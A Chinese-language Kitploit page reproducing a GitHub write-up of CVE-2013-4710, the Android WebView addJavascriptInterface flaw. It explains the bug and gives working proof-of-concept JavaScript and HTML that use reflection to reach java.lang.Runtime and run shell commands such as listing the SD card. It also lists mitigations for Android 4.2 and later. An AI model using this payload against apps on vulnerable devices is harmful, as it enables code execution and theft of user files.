Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2013-4710-WebView-RCE-Vulnerability — Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank 及其他设备上的 Android 3.0 至 4.1.x 版本未正确实现 WebView 类,这允许远程攻击者通过精心构造的网页执行 Java 对象的任意方法或造成拒绝服务(重启),如通过使用 WebView.addJavascriptInterface 方法所演示。该问题与 CVE-2012-6636 相关。 | Kitploit
工具/GitHubGitHub/snip3r69/cve-2013-4710-webview-rce-vulnerability
Android安全漏洞分析漏洞利用Web应用程序漏洞利用移动安全Payload 开发
GitHubsnip3r69/cve-2013-4710-webview-rce-vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank 及其他设备上的 Android 3.0 至 4.1.x 版本未正确实现 WebView 类,这允许远程攻击者通过精心构造的网页执行 Java 对象的任意方法或造成拒绝服务(重启),如通过使用 WebView.addJavascriptInterface 方法所演示。该问题与 CVE-2012-6636 相关。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
124年前尚未审核

CVE-2013-4710-WebView-RCE-Vulnerability

漏洞描述

很多时候我们使用 WebView 来显示网页,例如许多应用为了实现服务器控制,许多结果页面都是网页,而不是本地实现,这样做有很多优点,例如界面变更不需要发布新版本,直接在服务器端修改即可。使用网页来显示界面,通常或多或少都会与 Java 代码有交互,比如点击网页上方的按钮,我们需要知道按钮点击事件,或者我们必须调用某个方法,让页面执行某些操作,为了实现这些交互,我们通常使用 JS 来实现,而 WebView 已经提供了这样的方法,具体用法如下:

root@kitploit:~
mWebView.getSettings().setJavaScriptEnabled(true);  
    mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

我们要求 WebView 注册一个名为 “jsInterface” 的对象,然后就可以在 JS 中访问 jsInterface 对象,可以调用该对象的某些方法,最终调用到 Java 代码,从而实现了 JS 与 Java 代码的交互。 我们一起来看看 Android 官网上对 addJavascriptInterface 方法的描述:

该方法可用于允许 JavaScript 控制宿主应用程序。这是一个强大的功能,但对于面向 API 级别 JELLYBEAN 或更低版本的应用来说,也存在安全风险,因为 JavaScript 可以使用反射来访问注入对象的公共字段。在包含不受信任内容的 WebView 中使用此方法,可能允许攻击者以意外方式操纵宿主应用程序,以宿主应用程序的权限执行 Java 代码。在可能包含不受信任内容的 WebView 中使用此方法时,务必格外小心。

JavaScript 在此 WebView 的私有后台线程上与 Java 对象交互。因此需要小心维护线程安全性。 Java 对象的字段不可访问。

简单来说,就是使用 addJavascriptInterface 可能导致不安全,因为 JS 可能包含恶意代码。今天我们要说的就是这个问题,当 JS 包含恶意代码时,它可以做任何事情。


漏洞影响:

通过 JavaScript,可以访问设备 SD 卡上的任何内容,甚至联系人信息、短信等。这很恶心,靠。

  1. WebView 添加了一个 JavaScript 对象,并且当前应用具有 SDCard 读写权限,即:android.permission.WRITE_EXTERNAL_STORAGE

  2. 通过 window 对象可以在 JS 中找到“getClass”方法,然后通过反射机制获取 Runtime 对象,再调用静态方法执行一些命令,比如访问文件的命令。

  3. 从执行命令返回的输入流中获取字符串,就可以得到文件名的信息。然后想做什么就做什么,风险很大。核心 JS 代码如下:

    root@kitploit:~
      function execute(cmdArgs)  
     {  
         for (var obj in window) {  
            if ("getClass" in window[obj]) {  
             alert(obj);  
             return  window[obj].getClass().forName("java.lang.Runtime")  
                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
           }  
        }  
    }   
    

漏洞利用

为了证明这个漏洞,我只是加载了一个包含恶意 JS 代码的本地网页,HTML 代码如下:

root@kitploit:~
<html>  
  <head>  
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
    <script>  
      var i=0;  
      function getContents(inputStream)  
      {  
        var contents = ""+i;  
        var b = inputStream.read();  
        var i = 1;  
        while(b != -1) {  
            var bString = String.fromCharCode(b);  
            contents += bString;  
            contents += "\n"  
            b = inputStream.read();  
        }  
        i=i+1;  
        return contents;  
       }  
        
       function execute(cmdArgs)  
       {  
        for (var obj in window) {  
            console.log(obj);  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return window[obj].getClass().forName("java.lang.Runtime").  
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
             }  
         }  
       }   
        
      var p = execute(["ls","/mnt/sdcard/"]);  
      document.write(getContents(p.getInputStream()));  
    </script>  
  
    <script language="javascript">  
      function onButtonClick()   
      {  
        // Call the method of injected object from Android source.  
        var text = jsInterface.onButtonClick("Text passed in from the JS!!!");  
        alert(text);  
      }  
  
      function onImageClick()   
      {  
        //Call the method of injected object from Android source.  
        var src = document.getElementById("image").src;  
        var width = document.getElementById("image").width;  
        var height = document.getElementById("image").height;  
  
        // Call the method of injected object from Android source.  
        jsInterface.onImageClick(src, width, height);  
      }  
    </script>  
  </head>  
  
  <body>  
      <p>Click on the image to the URL to Java code</p>  
        
    </p>  
    <button type="button" onclick="onButtonClick()">Interaction with the Java code</button>  
  </body>  
</html>  
  1. 请看execute()方法,它遍历了所有 window 对象,找到带有 getClass 方法的对象,然后利用这个对象的类,找到 java.lang.Runtime 对象,再调用“getRuntime”静态方法获取 Runtime 实例,然后调用 exec() 方法执行命令。
  2. getContents()方法,从流中读取内容,并显示在界面上。
  3. 关键代码在下面的句子中

return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java 代码如下:

root@kitploit:~
mWebView = (WebView) findViewById(R.id.webview);  
mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
mWebView.loadUrl("file:///android_asset/html/test.html");  

需要添加权限:

root@kitploit:~
<uses-permission android:name="android.permission.INTERNET"/>  
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

缓解措施

  • 系统 Android 4.2 或以上版本 在 Android 4.2 或以上版本中,Google 进行了修改,需要在 Java 远程方法上声明 @JavascriptInterface,如下代码所示:

    class JsObject {
    @JavascriptInterface
    public String toString() { return "injectedObject"; }
    }
    webView.addJavascriptInterface(new JsObject(), "injectedObject");
    webView.loadData("", "text/html", null);
    webView.loadUrl("javascript:alert(injectedObject.toString())");

  • 系统 Android 4.2 以下版本

这个问题很难解决,但也不是不能解决。 首先,绝不能调用 addJavascriptInterface 方法。针对这个问题,核心是要知道 JS 事件这个动作,我们知道 JS 与 Java 的交互有几种方式,比如 prompt、alert 等动作,会对应到 WebChromeClient 的方法,其中 prompt 对应的类是 onJsPrompt 方法,该方法声明如下:

root@kitploit:~
public boolean onJsPrompt(WebView view, String url, String message,   
    String defaultValue, JsPromptResult result)  

通过这个方法,JS 可以将信息(文本)传递给 Java,同时 Java 也可以将信息(文本)传递给 JS。

下载工具